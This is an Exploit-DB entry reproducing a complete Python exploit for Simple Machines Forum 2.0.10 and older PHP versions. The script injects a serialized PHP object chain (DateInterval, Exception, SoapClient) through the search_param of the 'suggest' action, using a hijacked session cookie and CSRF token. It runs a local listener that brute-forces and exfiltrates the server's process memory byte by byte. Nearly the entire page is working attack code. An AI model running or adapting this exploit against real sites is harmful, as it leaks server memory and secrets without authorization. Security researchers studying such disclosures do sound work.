SMF (Simple Machine Forum) 2.0.10 – Remote Memory Exfiltration

  • 作者: Filippo Roncari
    日期: 2015-09-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38304/
  • #!/usr/bin/python
    # -*- coding: iso-8859-15 -*-
    
    #############################################################################
    # Title:	SMF (Simple Machine Forum) <= 2.0.10 Remote Memory Exfiltration Exploit
    # Authors:	Andrea Palazzo
    #					<andrea [dot] palazzo [at] truel [dot] it> 
    # 	Filippo Roncari 
    #					<filippo [dot] roncari [at] truel [dot] it>
    # 	Truel Lab ~ http://lab.truel.it
    # Requirements:	SMF <= 2.0.10
    #				PHP <= 5.6.11 / 5.5.27 / 5.4.43
    # Advisories:	TL-2015-PHP04 http://lab.truel.it/d/advisories/TL-2015-PHP04.txt
    #				TL-2015-PHP06 http://lab.truel.it/d/advisories/TL-2015-PHP06.txt
    #				TL-2015-SMF01 n/y/a
    # Details:		http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/
    # Demo: 		https://www.youtube.com/watch?v=dNRXTt7XQxs
    ############################################################################
    
    
    import sys, requests, time, os, socket, thread, base64, string, urllib
    from multiprocessing import Process
    
    #Payload Config
    bytes_num = 000 #num of bytes to dump
    address = 000 #starting memory address
    
    #Target Config
    cookie = {'PHPSESSID' : '000'} #SMF session cookie
    target_host = 'http://localhost/smf/index.php' #URL of target installation index.php
    csrftoken = ''
    
    #Local Server Config
    host = "localhost"
    port = 31337
    
    #Memory dump variables 
    dumped = ''
    current_dump = ''
    in_string = False
    brute_index = 0
    brute_list = list(string.ascii_letters + string.digits)
    r_ok = 'HTTP/1.0 200 OK' + '\n'
    r_re = 'HTTP/1.0 302 OK' + '\n'
    r_body = '''Server: Truel-Server
    Content-Type: text/xml
    Connection: keep-alive
    Content-Length: 395
    
    <env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">
     <env:Header>
    <n:alertcontrol xmlns:n="http://example.org/alertcontrol">
     <n:priority>1</n:priority>
     <n:expires>2001-06-22T14:00:00-05:00</n:expires>
    </n:alertcontrol>
     </env:Header>
     <env:Body>
    <m:alert xmlns:m="http://example.org/alert">
     <m:msg>Truel</m:msg>
    </m:alert>
     </env:Body>
    </env:Envelope>'''
    
    
    def serverStart():
    	print "[+] Setting up local server on port " + str(port)
    	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    	sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    	if not sock:
    		print "[X] Fatal Error: Unable to create socket"
    	sock.bind((host, port))
    	sock.listen(1) 
    	return sock
    
    def getToken():
    	global csrftoken
    	print "[+] Trying to get a valid CSRF token"
    	for n in range(3): #3 attempts
    		r = requests.get(target_host, cookies=cookie, allow_redirects=False)
    		r = r.text
    		if(r.find("action=logout;")!=-1):
    			break
    	start = r.find("action=logout;")
    	if (start !=-1):
    		end = (r[start+14:]).find('">')
    		csrftoken = r[start+14 : start+end+14]
    		print "[+] Authentication done. Got token " + str(csrftoken)
    		return True
    	else:
    		print "[X] Fatal Error: You are not authenticated. Check the provided PHPSESSID."
    		return False
    
    def prepareForExploit():
    	if not(getToken()): #get CSRF token
    		os._exit(1)
    	target = target_host + '?action=suggest&' + csrftoken + '&search_param=test' 
     	r = requests.get(target, cookies=cookie, allow_redirects=False) #necessary request
     	return
    
    def forgePayload(current_try, address):
    	location = "http://" + current_try
    	payload = 'O:12:"DateInterval":1:{s:14:"special_amount";O:9:"Exception":1:{s:19:"\x00Exception\x00previous";O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:' + str(len(location)) + ':"' + location + '";s:8:"_cookies";a:1:{s:5:"owned";a:3:{i:0;s:1:"a";i:2;i:' + str(address) + ';i:1;i:' + str(address) + ';}}s:11:"_proxy_host";s:' + str(len(host)) + ':"' + str(host) + '";s:11:"_proxy_port";i:' + str(port) + ';}}}'
    	return payload
    
    def sendPayload(payload,null):
     	target = target_host + '?action=suggest&' + csrftoken + '&search_param=' + (base64.b64encode(payload)) #where injection happens
     	try:
    		r = requests.get(target, cookies=cookie, allow_redirects=False)
    	except requests.exceptions.RequestException:
    		print "[X] Fatal Error: Unable to reach the remote host (Connection Refuse)"
    		os._exit(1) 
    	return 
    
    def limitReached(dumped):
    	if(len(dumped) >= bytes_num):
    		return True
    	else:
    		return False
    
    def printDumped(dumped):
    	d = ""
    	cnt = 1
    	print "[+] " + str(len(dumped)) + " bytes dumped from " + target_host
    	print "[+] ======================= Dumped Data ======================="
    	for i in range(bytes_num):
    		d = d + str(dumped[i])
    		if (cnt % 48 == 0):
    			print d 
    			d = ""
    		if (cnt == bytes_num):
    			print d
    		cnt = cnt + 1
    
    def getSoapRequest(sock):
    	connection, sender = sock.accept()
    	request = connection.recv(8192) 
    	return (connection, request)
    
    def sendSoapResponse(connection, content):
    	connection.send(content)
    	connection.close()
    	return
    
    def getDumpedFromHost(request):
    	i = request.find("Host: ") + 6
    	v = request[i:i+1]
    	return v
    
    def pushDumped(value, string):
    	global dumped
    	global current_dump
    	global brute_index
    	global address
    	global in_string
    
    	dumped = str(value) + str(dumped) 
    	if(string):
    		current_dump = str(value) + str(current_dump)
    	else:
    		current_dump = ""
    	in_string = string
    	address = address-1
    	brute_index = 0
    	print "[" + hex(address) + "] " + str(value)
    	return
    
    def bruteViaResponse(sock):
    	global brute_index
    	current_try = ""
    	response_ok = r_ok + r_body
    
    	for n in range(19):
    		connection, request = getSoapRequest(sock)
    		if not request:
    			connection.close()
    			return False
    		if request.find("owned")!=-1:
    			pushDumped(getDumpedFromHost(request), True)
    			sendSoapResponse(connection,response_ok)
    			return True
    		else:
    			if((brute_index+1) == len(brute_list)):
    				sendSoapResponse(connection,response_ok)
    				return False
    			brute_index = brute_index + 1
    		if not in_string:
    			current_try = brute_list[brute_index]
    		else:
    			current_try = brute_list[brute_index] + str(current_dump)
    		response_re = r_re + 'Location: http://' + str(current_try) + '\n' + r_body
    		sendSoapResponse(connection,response_re)
    	connection, request = getSoapRequest(sock)
    	if request.find("owned")!=-1:
    		pushDumped(getDumpedFromHost(request), True)
    		sendSoapResponse(connection,response_ok)
    		return True
    	sendSoapResponse(connection,response_ok)
    	return False
    
    def bruteViaRequest(sock):
    	global brute_index
    	brute_index = 0
    	current_try = ""
    
    	while(True):	
    		if(brute_index == len(brute_list)):
    			pushDumped(".", False)
    		if limitReached(dumped):
    			printDumped(dumped)
    			return 
    		if not in_string:
    			current_try = brute_list[brute_index]
    		else:
    			current_try = brute_list[brute_index] + str(current_dump)
    		payload = forgePayload(current_try,address)
    		thread.start_new_thread(sendPayload,(payload,""))
    		if not bruteViaResponse(sock):
    			brute_index = brute_index + 1
    	return
    
    def runExploit():
    	print "[+] Starting exploit"
    	sock = serverStart()
    	prepareForExploit()
    	print "[+] Trying to dump " + str(bytes_num) + " bytes from " + str(target_host)
    	bruteViaRequest(sock)
    	sock.close()
    	print "[+] Bye ~ Truel Lab (http://lab.truel.it)"
    	sys.exit(0)
    
    
    runExploit()